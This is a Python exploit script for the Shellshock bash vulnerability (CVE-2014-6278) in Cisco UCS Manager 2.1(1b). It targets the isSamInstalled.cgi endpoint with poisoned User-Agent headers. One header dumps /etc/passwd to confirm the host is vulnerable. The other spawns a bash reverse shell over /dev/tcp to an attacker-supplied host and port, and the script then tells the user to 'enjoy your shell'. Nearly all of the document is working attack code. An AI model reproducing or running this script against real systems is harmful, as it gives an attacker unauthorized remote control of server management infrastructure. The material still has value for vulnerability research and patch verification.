#!/usr/bin/python
###############################################
# Cisco UCS Manager 2.1(1b) Shellshock Exploit
# 
# CVE-2014-6278
# Confirmed on version 2.1(1b), but more are likely vulnerable.
# Cisco's advisory: 
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
# Exploit generates a reverse shell to a nc listener.
# Exploit Author: @thatchriseckert
###############################################
 
import sys
import requests
import time
  
if len(sys.argv) < 4:
    print "\n[*] Cisco UCS Manager 2.1(1b) Shellshock Exploit"
    print "[*] Usage: <Victim IP> <Attacking Host> <Reverse Shell Port>"
    print "[*]"
    print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 4444"
    print "[*] Listener: nc -lvp <port>"
    print "\n"
    sys.exit()
 
#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings() 
ucs = sys.argv[1]
url = "https://" + ucs + "/ucsm/isSamInstalled.cgi"
attackhost = sys.argv[2]
revshellport = sys.argv[3]
headers1 = {
        'User-Agent': '() { ignored;};/bin/bash -i >& /dev/tcp/' + attackhost + '/' + revshellport + ' 0>&1'
        }
headers2 = {
        "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo $(</etc/passwd)'
        }
 
def exploit():
    try:
        r = requests.get(url, headers=headers1, verify=False, timeout=5)
    except Exception, e:
        if 'timeout' in str(e):
            print "[+] Success.  Enjoy your shell..."
        else:
            print "[-] Something is wrong..."
            print "[-] Error: " + str(e)
 
def main():
    try:
        r = requests.get(url, headers=headers2, verify=False, timeout=3)
        if r.content.startswith('\nroot:'):
            print "[+] Host is vulnerable, spawning shell..."
            time.sleep(3)
            exploit()
        else:
            print "[-] Host is not vulnerable, quitting..."
            sys.exit()
    except Exception, e:
        print "[-] Something is wrong..."
        print "[-] Error: " + str(e)
 
if __name__ == "__main__":
    main()